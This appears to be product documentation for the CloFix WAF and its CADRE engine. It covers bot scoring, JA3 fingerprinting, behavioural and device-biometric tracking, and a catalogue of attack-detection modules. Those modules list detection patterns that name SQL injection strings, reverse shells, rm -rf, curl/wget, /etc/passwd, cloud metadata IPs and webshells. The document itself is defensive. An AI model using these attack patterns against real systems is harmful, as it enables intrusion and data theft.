Automation UA Detection: Flags headless browsers, scrapers, and common HTTP libraries used by bots
TLS Fingerprint Signals: JA3-aware scoring resists simple UA spoofing when the TLS stack does not match browsers
Behavioral Context: Incorporates session / request behavior so score is more than a static blacklist
No-IP Awareness: Works with device-oriented signals so IP rotation alone does not reset risk
Dashboard: `/waf-dashboard/bot` for thresholds and live bot engine status
Config Block: `bot_engine { enabled on; challenge_threshold 40; block_threshold 75; good_bot_bypass on; }`

💡 How it works: Each request is scored by the Bot Management Engine using TLS fingerprint, automation UA shape, behavioral context, and related signals. Scores below the challenge threshold continue; scores between challenge and block thresholds receive a JS challenge; scores at or above the block threshold are denied. Verified good bots can bypass scoring when enabled. Tune thresholds per domain via `bot_engine` or Configuration Manager; observe outcomes on `/waf-dashboard/bot`. Pair with Advanced Protection Under Attack Mode during volumetric bot floods.

📖 Official Documentation: CloFix Bot Management Engine Guide - scoring signals, thresholds, and good-bot bypass

🛡️ CloFix Advanced Protection

Under Attack Mode, Browser Integrity Check, and sensitivity presets with challenge passage for verified clients

📘 Advanced Protection Guide →

Key Benefits

Under Attack Mode: Force JS challenge on all HTML navigations (“I'm Under Attack”) when `under_attack on` or sensitivity `under_attack`
Browser Integrity Check: Challenge or block requests missing typical browser headers (Accept-Language, Sec-Fetch-*, etc.) when enabled
Sensitivity Presets: `low` (log), `medium` (challenge), `high` (block), `under_attack` (challenge all HTML) - one toggle to raise enforcement
Challenge Passage: Skip re-challenge when a valid verification cookie is present - real users pass once and continue
Exclude Paths: Keep APIs and health checks out of integrity challenges (default `/api/,/graphql,/.well-known/,/health,/waf-dashboard,/waf-login`)
Cloudflare-Style Controls: Familiar Under Attack + integrity model for operators migrating from CDN WAFs
Works With JS Challenges: Uses the existing challenge template flow (`javascript_challenges`) for passage cookies
Dashboard: `/waf-dashboard/advanced` for live toggles and sensitivity
Per-Domain: Enable Under Attack only on the host under load without affecting other domains
Config Block: `advanced_protection { enabled on; under_attack off; browser_integrity on; sensitivity medium; challenge_passage on; exclude_paths …; }`

💡 How it works: Advanced Protection evaluates browser integrity signals and the active sensitivity / Under Attack setting before the request proceeds. Missing browser headers or Under Attack Mode send HTML navigations through the JS challenge; successful clients receive a verification cookie and skip re-challenge when challenge passage is on. Excluded paths (APIs, health, dashboard) bypass these checks so machine clients on allowlisted prefixes keep working. Raise `sensitivity` or flip `under_attack on` during incidents; dial back when traffic normalizes. Manage from `/waf-dashboard/advanced` or domain `advanced_protection { }`.

📖 Official Documentation: CloFix Advanced Protection Guide - Under Attack Mode, Browser Integrity, sensitivity, and challenge passage

🔍 Behavioral Analysis

Advanced browser vs. bot detection using behavioral patterns and TLS fingerprinting

Key Benefits

Request-1 Blocking: FastBlocker fires on the very first request - no history needed. Missing Sec-Fetch-*, bare Accept headers, and low header count score instantly before any proxying occurs
JA3 TLS Fingerprinting: Computed directly from Go's tls.ClientHelloInfo via GetConfigForClient hook - no nginx module required. CipherSuites, SupportedVersions, SupportedCurves, SignatureSchemes, ALPN, and SNI all contribute to the hash
Known Browser Database: Chrome, Firefox, Safari, Edge, Opera, Brave, and Tor Browser JA3 hashes pre-loaded. Exact match = instant allow with zero behavioral scoring overhead
UA Structure Analysis: Detects tools by shape, not name - no hardcoded tool strings. Checks Mozilla/ token, platform () grouping, and AppleWebKit/Gecko presence. All three must exist simultaneously
Sec-Fetch Header Detection: Injected by all browsers since Chrome 76 / Firefox 90 - absent in every HTTP library. Missing all three Sec-Fetch-Site/Mode/Dest headers scores +35pts instantly
Tiered Velocity Scoring: Three escalating tiers - warn (+20), high (+35), extreme (+50) - scored per JA3 fingerprint over a 5-minute sliding window. IP rotation doesn't help if TLS stack is consistent
Machine Timing Detection: Coefficient of variation (stddev/mean) of inter-request intervals. CV <0.05 AND mean <2s = machine precision timing (+45pts). Requires only 4 requests to compute
Uniform Response Time Detection: Tools receive consistent server response times. CV <0.1 across 6+ requests flags automated polling (+20pts)
Shannon Path Entropy: Entropy <0.6 on normalized paths = scanner repeating same endpoints (+20pts). Entropy <0.3 with 10+ requests = very low entropy (+35pts). Paths normalized: /api/users/123 → /api/users/*
Sequential Enumeration: Detects /item/1, /item/2, /item/3 numeric crawl patterns. Fires when >30% of consecutive path pairs are sequential (+35pts)
High Path Density: >90% unique paths in <8 requests = scanner walking endpoints (+25pts). Combined with velocity = strong scanner signal
Zero Static Assets: Real users load CSS/JS/images - tools never do. 0% static asset ratio after 10+ requests adds +30pts. Checked against 18 file extensions
Method Probing Detection: 4+ distinct HTTP methods (GET/POST/PUT/DELETE/PATCH/OPTIONS/HEAD) against the same path = method enumeration attack (+30pts)
Error Rate Analysis: Three tiers - elevated (>25% 4xx → +12pts), high (>50% 4xx/5xx → +25pts), 404-dominant (>50% 404 → +35pts). Distinguishes path probing from application errors
Parameter Fuzzing Detection: Same endpoint with 10+ unique parameter names across 20+ requests = automated parameter discovery (+30pts)
UA Rotation Detection: >30% unique User-Agents across 10+ requests = evasion attempt via UA cycling (+25pts)
Burst Pattern Detection: Zero requests in the prior 9-minute window followed by 20+ in the last minute = attack burst after reconnaissance silence (+30pts)
Path Traversal Scoring: Double-dot sequences (../, ..\, %2e%2e), null bytes (\x00, %00), CRLF injection (\r, \n) in request paths scored independently in both FastBlocker and BehaviorEngine layers
Query String Injection: Structural injection patterns in query strings - union+select, <script, onerror=, exec(, base64_decode(, javascript: - scored +50–55pts on first occurrence
Sticky Block System: Score ≥70 triggers a 15-minute hard block written to the profile. Pre-request IsBlocked() check fires before WAF rules, DDoS engine, or upstream proxy
Block Auto-Expiry: Block TTL auto-expires on the next request after 15 minutes. Profile demoted to challenge state rather than deleted - retains behavioral history
Session Trust Bonus: Established sessions older than 10 minutes with score <20 receive a −15pts reduction. Prevents over-blocking legitimate power users
New Profile Penalty: Profile younger than 10 seconds with 15+ requests scores +20pts - human-impossible volume in that window
Domain Isolation: Profile store is per-domain. Dashboard locked to r.Host - ?domain= query parameter is completely ignored server-side, preventing cross-tenant data leakage
IP Rate Limiter: Sliding window 30 req/10s per IP. Fires independently of behavioral scoring - instant 5-minute block regardless of headers or UA
Health Check Bypass: Silent monitoring probes (no UA, GET /, no body) are whitelisted at FastBlocker level - load balancer checks never accumulate false-positive scores
Learning Mode: Monitor-only mode records detections and flags profiles without blocking. Safe for baseline establishment. Toggle live via /waf-dashboard/behavior-learning endpoint
Profile Ring Buffer: Each profile stores the last 100 requests in memory with O(1) eviction. Fixed memory footprint regardless of request volume
Background Sweeper: Idle profiles evicted every 5 minutes after 30-minute TTL. Prevents unbounded memory growth under sustained scan traffic
2 Layers, 20+ Signals: Layer 1 (FastBlocker) - 7 instant signals on request 1. Layer 2 (BehaviorEngine) - 13 multi-request signals over sliding 5-minute window. Both run synchronously before upstream proxy. No external dependencies - no Redis, no database, no sidecar

💡 How it works: Every request passes through two independent scoring layers. FastBlocker evaluates structural signals immediately - Sec-Fetch headers, Accept quality, header count, UA shape, path anomalies, and IP rate. BehaviorEngine builds a per-fingerprint profile and scores velocity, timing regularity, path entropy, error rates, static asset ratio, burst patterns, and more over a sliding 5-minute window. A fingerprint reaching score ≥70 is sticky-blocked for 15 minutes. JA3 hash from the TLS ClientHello is the primary profile key - IP rotation, VPN hops, and proxy chains don't reset the profile if the TLS fingerprint is consistent. The entire system runs in-process with no external dependencies.

🆔 No-IP Device Behavioral Protection

Advanced device fingerprinting that tracks malicious actors across IP changes, VPNs, proxies, and Tor. Uses behavioral biometrics (keystrokes, mouse movements, scrolling patterns), canvas/webGL fingerprints, TLS JA3 hashing, and velocity analysis to identify and block automated threats even when they rotate IP addresses

Key Benefits

IP-Agnostic Fingerprinting: Generates persistent device IDs using browser fingerprints, canvas/WebGL hashes, audio context, fonts, screen resolution, hardware concurrency, and OS detection - tracks devices even when they change IP addresses via VPN, proxy, or Tor
Browser & OS Detection: Identifies browser (Chrome, Firefox, Safari, Edge, Opera, Brave), browser engine (Blink, WebKit, Gecko), OS (Windows, macOS, iOS, Android, Linux), OS version, and architecture (x86_64, ARM64) - detects spoofing attempts
Canvas Fingerprinting: Generates unique canvas hashes from rendered text, shapes, and colors - persistent across sessions and IP changes. Detects canvas hash changes within consistency window as indication of emulation or spoofing
WebGL Fingerprinting: Extracts WebGL renderer and vendor information (Mali, Adreno, Apple GPU, NVIDIA, Intel) via WEBGL_debug_renderer_info extension - detects emulated GPU environments
Audio Context Fingerprinting: Analyzes oscillator waveform rendering differences across browsers and devices - each device produces unique audio hashes based on hardware
Font Fingerprinting: Detects installed system fonts via flash of invisible text (FOIT) measurement - 100+ font families tested for device uniqueness
Hardware Fingerprinting: Collects screen resolution, color depth, pixel ratio, hardware concurrency (CPU cores), device memory, and max touch points - creates comprehensive device signature
Headless Browser Detection: Scores headless probability (0.0-1.0) based on User-Agent patterns (HeadlessChrome, PhantomJS, Puppeteer, Playwright) and behavioral anomalies - blocks scores above 0.5 with 0.9 confidence
Automation Detection: Identifies automation tools (Selenium, Puppeteer, Playwright, Python-Requests, curl, wget, Go-http, Postman, Insomnia) with weighted scoring - blocks with 0.7+ score
Behavioral Biometrics - Keystroke Dynamics: Tracks key press timing (inter-key latency) and key hold duration - calculates average typing speed, rhythm hash, and standard deviation. Standard deviation <2ms indicates robotic typing (+20% risk)
Behavioral Biometrics - Mouse Movements: Records mouse coordinates, calculates speed, acceleration, and curvature. Sustained near-zero curvature indicates robotic movement +15% risk. Generates mouse movement hash from last 20 points
Behavioral Biometrics - Click Patterns: Tracks click coordinates and target elements, calculates average click position, detects exact click repetition (>80% same pixel = robotic +15% risk)
Behavioral Biometrics - Scroll Patterns: Records scroll position, speed, and direction - calculates average scroll speed and dominant direction (up/down/both)
Request Velocity Tracking: Rolling windows (1-minute, 5-minute, 1-hour) track request density - thresholds: 300 req/min, 1400 req/5min, 30 req/sec burst detection triggers +35% risk score
IP Hopping Detection: Tracks unique IPs per device in 1-hour window. 3+ unique IPs flags IP hopping +30% risk - blocks VPN/proxy rotation attacks
Geo-Impossible Travel Detection: Calculates speed between geographic locations (requires GeoIP). Speed >900 km/h triggers geo-impossible travel +35% risk - detects VPN hopping across continents
Canvas Consistency Monitoring: Tracks canvas hash changes within 15-minute window on same User-Agent. Hash changes indicate emulation/anti-fingerprinting +25% risk
TLS JA3 Fingerprinting: Cross-references JA3 hash from CloudFlare or proxy headers - tracks TLS stack even when IP changes. Self-signed certificates bypass JA3 checks to avoid false positives
Login Brute Force Detection: 5-minute rolling window tracks failed login attempts - 5+ failures in 5m = +30% risk, 15+ in 1h = +25% risk. Persistent threat memory stores total failed logins across sessions
Sensitive Path Probing: Detects enumeration of /wp-admin, /admin, /phpmyadmin, /.env, /.git, /backup, /config - +15% risk per probe
Path Scanning Detection: 50+ unique paths per device flags directory brute-forcing +20% risk
Rapid Request Detection: Inter-request intervals <50ms flag automation +10% risk
Header Completeness Analysis: Detects missing Accept, Accept-Language, Accept-Encoding headers - common in tools (+15% risk each). Chrome missing Connection header is normal (HTTP/2)
User-Agent Structure Validation: Validates Mozilla signature, parentheses structure, version numbers. Empty UA +40pts, missing Mozilla +20pts, no parentheses +10pts
Accept Header Analysis: */* without quality values flags generic accept +15% risk for non-browser clients
Cookie Handling Detection: Missing cookies +10% risk for authenticated paths (tools often don't handle cookies)
Referer Validation: Missing referer on non-root paths +10% risk
Persistent Threat Memory: Tracks total blocks, failed logins, attack types, and suspicion score across sessions - survives block expiry, increases risk weighting by 30% for repeat offenders
Risk Score Calculation: Weighted aggregation (IP hopping 0.30, geo travel 0.35, burst 0.35, velocity 0.15-0.20, brute force 0.25-0.30, headless 0.35, automation 0.25, robotic typing 0.20, canvas inconsistency 0.25). Threshold 0.70 = malicious, 0.40-0.70 triggers challenge
Confidence Scoring: Based on data points (requests, keystrokes, mouse moves) - max 1.0 at 500+ points, prevents false positives on limited data
Auto-Blocking: Risk ≥0.70 triggers 15-minute block (configurable), threat memory records each block and elevates suspicion score
Challenge System: Risk 0.40-0.70 issues proof-of-work CAPTCHA challenges. Successful challenges reduce risk by -0.20, failed challenges +0.10 risk
Automatic Session Cleanup: 1-hour background sweeper removes fingerprints idle >30 days, auto-unblocks devices after BlockDuration
Memory Efficient: Ring buffers for request history (last 200 requests), keystroke/mouse data (last 1000 points), IP history (last 100 entries) - prevents unbounded memory growth
API Endpoints: /api/behavioral/device (fingerprint), /api/behavioral/keystroke (typing patterns), /api/behavioral/mouse (mouse movements), /api/behavioral/click (click patterns), /api/behavioral/scroll (scroll behavior), /api/behavioral/challenge (CAPTCHA), /debug/noip-stats (statistics)
Client-Side Collector: 8KB JavaScript automatically injects into HTML pages - collects canvas hash, WebGL, audio fingerprint, keystrokes, mouse movements, clicks, scrolls. sendBeacon API ensures delivery without blocking navigation
Zero External Dependencies: No Redis, No database - all fingerprint data stored in memory with automatic cleanup. 10,000 fingerprints consume ~200MB RAM
Performance Impact: <50µs per request for fingerprint lookup, <500KB memory per active fingerprint, FIFO eviction prevents leaks

💡 How it works: The No-IP Behavioral Protection system generates a persistent device ID using browser fingerprints that survive IP changes. When a request arrives, the system extracts device identity from User-Agent, OS, browser engine, and hardware signals. Canvas/WebGL/Audio fingerprints create a hardware-level signature. The client-side JavaScript collects behavioral biometrics (keystroke timing, mouse movement curves, click patterns, scroll velocity) and sends them via sendBeacon API. The server tracks velocity in rolling windows (1m/5m/1h), detects IP hopping via history analysis, and calculates geographic speed using GeoIP (if available). Each violation adds weighted risk points - reaching 0.70 triggers a 15-minute IP-agnostic block based on device ID. The threat memory persists across block expiry, so repeat offenders face stricter scrutiny. All fingerprint data stays in memory with automatic TTL-based cleanup (30 days idle). No external dependencies required - the entire system runs in-process with sub-50µs overhead.

📊 Detection Metrics:

IP-hopping detection: 3+ unique IPs/1h = +30% risk
Geo-impossible travel: Speed >900 km/h = +35% risk
Login brute force: 5 failures/5m = +30% risk
Canvas inconsistency: Hash changes within 15m = +25% risk
Headless detection: 0.5+ score = +35% risk
Automation detection: 0.7+ score = +25% risk
Robotic typing: Std Dev <2ms = +20% risk
Burst attack: 30+ req/sec = +35% risk
High velocity: 300+ req/min = +20% risk
Path scanning: 50+ unique paths = +20% risk

🔒 Detected Threat Types:

VPN/Proxy Rotation: IP hopping detection tracks IP changes regardless of anonymization service
Tor Network: Geo-impossible travel flags rapid international movement
Headless Browsers: HeadlessChrome, PhantomJS, Puppeteer, Playwright detection via UA + behavioral analysis
Automation Tools: Selenium WebDriver, Python-Requests, curl, wget, Go-http, Postman, Insomnia
Credential Stuffing: Login velocity tracking (5m/1h windows) with persistent failure memory
Brute Force: Combined IP-hopping + login velocity + path scanning detection
DDoS Botnets: Velocity thresholds (300 req/min, 30 req/sec) with burst detection
Scrapers/Crawlers: Missing browser headers, no cookies, robotic mouse movements, exact click repetition
Directory Brute-Forcing: Path diversity detection (50+ unique paths) + sensitive path probing
Anti-Fingerprinting Tools: Canvas hash drifting within consistency window flags emulation

⚡ CADRE Engine - Context-Aware Dynamic Rule Engine

High-performance WAF engine with 100+ attack type modules, 10,000+ rules, multi-layer behavioral analysis, No-IP device fingerprinting, and network-level blocking - all loaded in memory for sub-millisecond response times

🔍 CADRE Behavioral Analysis

Two-layer behavioral detection with FastBlocker (instant) and BehaviorEngine (5-min sliding window) - 20+ signals including JA3 TLS fingerprinting, Sec-Fetch headers, machine timing, path entropy, and sequential enumeration

Layer 1: FastBlocker (Instant Detection)

Missing Sec-Fetch Headers: Injected by all browsers since Chrome 76 - absent in all HTTP libraries. Missing all three = +35pts instantly
Bare Accept Header: */* without quality values = +20pts for non-browser clients
Low Header Count: <8 total headers = +10pts (minimal HTTP clients)
UA Structure Analysis: Validates Mozilla token, platform grouping, AppleWebKit/Gecko presence
Path Traversal Scoring: Double-dot sequences, null bytes, CRLF injection = +50pts on first occurrence
Query String Injection: union+select, <script, onerror=, exec(, base64_decode( = +55pts
IP Rate Limiter: Sliding window 30 req/10s per IP = instant 5-minute block

Layer 2: BehaviorEngine (5-Minute Sliding Window)

JA3 TLS Fingerprinting: Computed from Go's tls.ClientHelloInfo - CipherSuites, SupportedVersions, Curves, SignatureSchemes, ALPN, SNI
Known Browser Database: Chrome, Firefox, Safari, Edge, Opera, Brave, Tor Browser JA3 hashes pre-loaded = instant allow
Tiered Velocity Scoring: Warn (+20), High (+35), Extreme (+50) - per JA3 fingerprint over 5 minutes
Machine Timing Detection: Coefficient of variation <0.05 AND mean <2s = machine precision timing (+45pts)
Uniform Response Time: CV <0.1 across 6+ requests = automated polling (+20pts)
Shannon Path Entropy: Entropy <0.6 = scanner repeating endpoints (+20pts). Entropy <0.3 with 10+ requests = very low entropy (+35pts)
Sequential Enumeration: >30% consecutive numeric paths = /item/1,/item/2,/item/3 pattern (+35pts)
High Path Density: >90% unique paths in <8 requests = scanner walking endpoints (+25pts)
Zero Static Assets: 0% static asset ratio after 10+ requests = tools never load CSS/JS/images (+30pts)
Method Probing: 4+ distinct HTTP methods against same path = method enumeration attack (+30pts)
Error Rate Analysis: >25% 4xx = +12pts, >50% 4xx/5xx = +25pts, >50% 404 = +35pts
Parameter Fuzzing: Same endpoint with 10+ unique parameter names across 20+ requests = automated discovery (+30pts)
UA Rotation: >30% unique User-Agents across 10+ requests = evasion attempt (+25pts)
Burst Pattern: Zero requests in prior 9-minute window followed by 20+ in last minute = attack burst (+30pts)

Sticky Block System

Score ≥70: 15-minute hard block written to profile
Block Auto-Expiry: Block TTL auto-expires after 15 minutes - profile demoted to challenge state
Session Trust Bonus: Established sessions older than 10 minutes with score <20 receive −15pts reduction
New Profile Penalty: Profile younger than 10 seconds with 15+ requests scores +20pts
Domain Isolation: Profile store per-domain - prevents cross-tenant data leakage
Health Check Bypass: Silent monitoring probes whitelisted - never accumulate false-positive scores
Learning Mode: Monitor-only mode records detections without blocking - safe for baseline establishment
Profile Ring Buffer: Last 100 requests stored per profile - O(1) eviction, fixed memory footprint
Background Sweeper: Idle profiles evicted every 5 minutes after 30-minute TTL

💡 How it works: Every request passes through two independent scoring layers. FastBlocker evaluates structural signals immediately - Sec-Fetch headers, Accept quality, header count, UA shape, path anomalies, and IP rate. BehaviorEngine builds a per-fingerprint profile and scores velocity, timing regularity, path entropy, error rates, static asset ratio, burst patterns, and more over a sliding 5-minute window. A fingerprint reaching score ≥70 is sticky-blocked for 15 minutes. JA3 hash from the TLS ClientHello is the primary profile key - IP rotation, VPN hops, and proxy chains don't reset the profile if the TLS fingerprint is consistent. The entire system runs in-process with no external dependencies.

🆔 CADRE No-IP Device Behavioral Protection

Advanced device fingerprinting that tracks malicious actors across IP changes, VPNs, proxies, and Tor. Uses behavioral biometrics (keystrokes, mouse movements, scrolling patterns), canvas/WebGL fingerprints, TLS JA3 hashing, and velocity analysis to identify and block automated threats even when they rotate IP addresses

Device Fingerprinting

IP-Agnostic Fingerprinting: Generates persistent device IDs using browser fingerprints, canvas/WebGL hashes, audio context, fonts, screen resolution, hardware concurrency, and OS detection - tracks devices even when they change IP addresses via VPN, proxy, or Tor
Browser & OS Detection: Identifies browser (Chrome, Firefox, Safari, Edge, Opera, Brave), browser engine (Blink, WebKit, Gecko), OS (Windows, macOS, iOS, Android, Linux), OS version, and architecture (x86_64, ARM64) - detects spoofing attempts
Canvas Fingerprinting: Generates unique canvas hashes from rendered text, shapes, and colors - persistent across sessions and IP changes. Detects canvas hash changes within consistency window as indication of emulation or spoofing
WebGL Fingerprinting: Extracts WebGL renderer and vendor information (Mali, Adreno, Apple GPU, NVIDIA, Intel) via WEBGL_debug_renderer_info extension - detects emulated GPU environments
Audio Context Fingerprinting: Analyzes oscillator waveform rendering differences across browsers and devices - each device produces unique audio hashes based on hardware
Font Fingerprinting: Detects installed system fonts via flash of invisible text (FOIT) measurement - 100+ font families tested for device uniqueness
Hardware Fingerprinting: Collects screen resolution, color depth, pixel ratio, hardware concurrency (CPU cores), device memory, and max touch points - creates comprehensive device signature

Behavioral Biometrics

Keystroke Dynamics: Tracks key press timing (inter-key latency) and key hold duration - calculates average typing speed, rhythm hash, and standard deviation. Standard deviation <2ms indicates robotic typing (+20% risk)
Mouse Movements: Records mouse coordinates, calculates speed, acceleration, and curvature. Sustained near-zero curvature indicates robotic movement +15% risk. Generates mouse movement hash from last 20 points
Click Patterns: Tracks click coordinates and target elements, calculates average click position, detects exact click repetition (>80% same pixel = robotic +15% risk)
Scroll Patterns: Records scroll position, speed, and direction - calculates average scroll speed and dominant direction (up/down/both)

Threat Detection

Headless Browser Detection: Scores headless probability (0.0-1.0) based on User-Agent patterns (HeadlessChrome, PhantomJS, Puppeteer, Playwright) and behavioral anomalies - blocks scores above 0.5 with 0.9 confidence
Automation Detection: Identifies automation tools (Selenium, Puppeteer, Playwright, Python-Requests, curl, wget, Go-http, Postman, Insomnia) with weighted scoring - blocks with 0.7+ score
IP Hopping Detection: Tracks unique IPs per device in 1-hour window. 3+ unique IPs flags IP hopping +30% risk - blocks VPN/proxy rotation attacks
Geo-Impossible Travel Detection: Calculates speed between geographic locations (requires GeoIP). Speed >900 km/h triggers geo-impossible travel +35% risk - detects VPN hopping across continents
Login Brute Force Detection: 5-minute rolling window tracks failed login attempts - 5+ failures in 5m = +30% risk, 15+ in 1h = +25% risk
Canvas Consistency Monitoring: Tracks canvas hash changes within 15-minute window on same User-Agent. Hash changes indicate emulation/anti-fingerprinting +25% risk
Request Velocity Tracking: Rolling windows (1-minute, 5-minute, 1-hour) track request density - thresholds: 300 req/min, 1400 req/5min, 30 req/sec burst detection triggers +35% risk score
Sensitive Path Probing: Detects enumeration of /wp-admin, /admin, /phpmyadmin, /.env, /.git, /backup, /config - +15% risk per probe
Path Scanning Detection: 50+ unique paths per device flags directory brute-forcing +20% risk

Risk Scoring & Response

Risk Score Calculation: Weighted aggregation (IP hopping 0.30, geo travel 0.35, burst 0.35, velocity 0.15-0.20, brute force 0.25-0.30, headless 0.35, automation 0.25, robotic typing 0.20, canvas inconsistency 0.25). Threshold 0.70 = malicious, 0.40-0.70 triggers challenge
Persistent Threat Memory: Tracks total blocks, failed logins, attack types, and suspicion score across sessions - survives block expiry, increases risk weighting by 30% for repeat offenders
Auto-Blocking: Risk ≥0.70 triggers 15-minute block (configurable), threat memory records each block and elevates suspicion score
Challenge System: Risk 0.40-0.70 issues proof-of-work CAPTCHA challenges. Successful challenges reduce risk by -0.20, failed challenges +0.10 risk
Confidence Scoring: Based on data points (requests, keystrokes, mouse moves) - max 1.0 at 500+ points, prevents false positives on limited data

API Endpoints

/api/cadre/noip/device - Device fingerprint information
/api/cadre/noip/keystroke - Keystroke dynamics patterns
/api/cadre/noip/mouse - Mouse movement tracking
/api/cadre/noip/click - Click pattern analysis
/api/cadre/noip/scroll - Scroll behavior analysis
/api/cadre/noip/challenge - CAPTCHA challenge issuance
/api/cadre/noip/stats - No-IP protection statistics

💡 How it works: The No-IP Behavioral Protection system generates a persistent device ID using browser fingerprints that survive IP changes. When a request arrives, the system extracts device identity from User-Agent, OS, browser engine, and hardware signals. Canvas/WebGL/Audio fingerprints create a hardware-level signature. The client-side JavaScript collects behavioral biometrics (keystroke timing, mouse movement curves, click patterns, scroll velocity) and sends them via sendBeacon API. The server tracks velocity in rolling windows (1m/5m/1h), detects IP hopping via history analysis, and calculates geographic speed using GeoIP (if available). Each violation adds weighted risk points - reaching 0.70 triggers a 15-minute IP-agnostic block based on device ID. The threat memory persists across block expiry, so repeat offenders face stricter scrutiny. All fingerprint data stays in memory with automatic TTL-based cleanup (30 days idle). No external dependencies required - the entire system runs in-process with sub-50µs overhead.

📊 Detection Metrics:

IP-hopping detection: 3+ unique IPs/1h = +30% risk
Geo-impossible travel: Speed >900 km/h = +35% risk
Login brute force: 5 failures/5m = +30% risk
Canvas inconsistency: Hash changes within 15m = +25% risk
Headless detection: 0.5+ score = +35% risk
Automation detection: 0.7+ score = +25% risk
Robotic typing: Std Dev <2ms = +20% risk
Burst attack: 30+ req/sec = +35% risk
High velocity: 300+ req/min = +20% risk
Path scanning: 50+ unique paths = +20% risk

🔒 Detected Threat Types:

VPN/Proxy Rotation: IP hopping detection tracks IP changes regardless of anonymization service
Tor Network: Geo-impossible travel flags rapid international movement
Headless Browsers: HeadlessChrome, PhantomJS, Puppeteer, Playwright detection via UA + behavioral analysis
Automation Tools: Selenium WebDriver, Python-Requests, curl, wget, Go-http, Postman, Insomnia
Credential Stuffing: Login velocity tracking (5m/1h windows) with persistent failure memory
Brute Force: Combined IP-hopping + login velocity + path scanning detection
DDoS Botnets: Velocity thresholds (300 req/min, 30 req/sec) with burst detection
Scrapers/Crawlers: Missing browser headers, no cookies, robotic mouse movements, exact click repetition
Directory Brute-Forcing: Path diversity detection (50+ unique paths) + sensitive path probing
Anti-Fingerprinting Tools: Canvas hash drifting within consistency window flags emulation

📦 CADRE Attack Type Modules (100+)

100+ attack type modules with 10,000+ pre-configured rules - SQLi, XSS, LFI, RFI, SSRF, XXE, Log4Shell, Slowloris, GraphQL, NoSQLi, CMDi, LDAPi, SSTI, and 90+ more

Location-Based Attacks (8 modules)

header/ - HTTP Header attacks: SQLi, XSS, Command Injection, User-Agent spoofing, Cookie poisoning
body/ - HTTP Body attacks: POST payloads, XXE, JSON/XML injection
url/ - URL/Path attacks: Path traversal, LFI, RFI, Directory indexing
cookie/ - Cookie-based attacks: Session fixation, Cookie tampering, Manipulation
parameter/ - Parameter attacks: Parameter pollution, Blind SQLi, Tampering, Type juggling
json/ - JSON attacks: JSON injection, XSS in JSON, NoSQL injection, JWT attacks
xml/ - XML attacks: XXE, XPath injection, XML bombs, DTD injection
multipart/ - Multipart attacks: File upload bypass, MIME spoofing, Boundary injection

Injection Attacks (10 modules)

sqli/ - SQL Injection: UNION-based, OR injection, Time-blind, Error-based, Stacked queries
nosqli/ - NoSQL Injection: Operator injection ($ne, $gt, $regex, $where), Array injection
ldapi/ - LDAP Injection: LDAP injection, Auth bypass patterns
cmdi/ - Command Injection: rm -rf, curl/wget, Reverse shells
xpathi/ - XPath Injection: OR injection patterns
code_injection/ - Code Injection: eval(), assert() injection
ssti/ - SSTI: Jinja2, Freemarker template injection
el_injection/ - EL Injection: Expression Language injection, ClassLoader access

XSS Attacks (6 modules)

xss_reflected/ - Reflected XSS: Script tags, Event handlers, JavaScript protocol
xss_stored/ - Stored XSS: IMG onerror, SVG onload, IFRAME injection
xss_dom/ - DOM-based XSS: DOM manipulation, Cookie/location access
xss_blind/ - Blind XSS: Image src callbacks, Fetch API
html_injection/ - HTML Injection: IFRAME, OBJECT, EMBED injection
js_injection/ - JavaScript Injection: Alert functions, setTimeout/setInterval abuse

File-Based Attacks (5 modules)

lfi/ - Local File Inclusion: /etc/passwd, PHP wrappers, Null byte injection
rfi/ - Remote File Inclusion: HTTP/HTTPS/FTP includes, Data wrappers
path_traversal/ - Path Traversal: Encoded traversal, Double encoding
file_upload/ - File Upload: Dangerous extensions, Double extensions
webshell/ - WebShell: PHP webshells, Common shells (c99, r57, b374k)

Server-Side Attacks (6 modules)

ssrf/ - SSRF: Localhost, Metadata endpoints, Internal IPs
xxe/ - XXE: DOCTYPE entity, Parameter entity, XXE with SSRF
ssi/ - SSI: Server-side includes directives
java_deserialization/ - Java Deserialization: Magic bytes detection
php_deserialization/ - PHP Deserialization: Object injection patterns
python_deserialization/ - Python Deserialization: Pickle/YAML injection

Auth & Session Attacks (5 modules)

session_fixation/ - Session Fixation: Session cookie patterns
csrf/ - CSRF: Missing headers detection
jwt_attack/ - JWT Attack: None algorithm, Signature bypass
cookie_tampering/ - Cookie Tampering: Admin cookie patterns
oauth_attack/ - OAuth Attack: Redirect URI manipulation

API Attacks (6 modules)

graphql_introspection/ - GraphQL Introspection: __schema, __type queries
graphql_depth/ - GraphQL Depth: Deep nested queries
graphql_batching/ - GraphQL Batching: Alias bombing, Batch attacks
api_auth_bypass/ - API Auth Bypass: URL override, Method override
api_mass_assignment/ - API Mass Assignment: Admin field injection
api_rate_limit_bypass/ - API Rate Limit Bypass: IP spoofing detection

DoS/Protocol Attacks (6 modules)

slowloris/ - Slowloris: Incomplete headers, Slow read attacks
redos/ - ReDoS: Nested quantifiers, Evil regex patterns
xml_bomb/ - XML Bomb: Billion laughs, Entity expansion
json_bomb/ - JSON Bomb: Deep nesting attacks
http_smuggling/ - HTTP Smuggling: CL.TE, TE.CL, Duplicate headers
host_header_injection/ - Host Header Injection: Duplicate host, CRLF injection

Scanner Detection (6 modules)

sqlmap/ - SQLMap detection
nmap/ - Nmap detection
nikto/ - Nikto detection
burp_suite/ - Burp Suite detection
dirbuster/ - DirBuster detection
wpscan/ - WPScan detection

Modern Vulnerabilities (4 modules)

log4shell/ - Log4Shell: JNDI injection patterns, Obfuscated bypasses
spring4shell/ - Spring4Shell: ClassLoader access patterns
shellshock/ - ShellShock: Function definition patterns
struts2/ - Struts2: OGNL injection patterns

Cloud Attacks (4 modules)

aws_metadata/ - AWS Metadata: 169.254.169.254 access
gcp_metadata/ - GCP Metadata: metadata.google.internal access
azure_metadata/ - Azure Metadata: 169.254.169.254/metadata access
s3_bucket/ - S3 Bucket Attacks: Bucket enumeration, Access patterns

Script Blocking (50+ Languages & Tools)

go_block/ - Go: go-http-client, os.Exec, exec.Command, net.Dial, Reverse shells
python_block/ - Python: python-requests, python -c, exec(), eval(), subprocess, os.system, pickle, cpickle, __import__, reverse shells
node_block/ - Node.js: node-fetch, axios, superagent, child_process.exec, require('net'), vm.runInNewContext, reverse shells
php_block/ - PHP: system(), exec(), shell_exec(), passthru(), popen(), proc_open(), eval(), assert(), create_function(), webshells (c99, r57, b374k)
ruby_block/ - Ruby: system(), exec(), IO.popen, TCPSocket, UNIXSocket, Kernel.exec, reverse shells
perl_block/ - Perl: system(), exec(), backticks (`), qx//, open(), IO::Socket, reverse shells
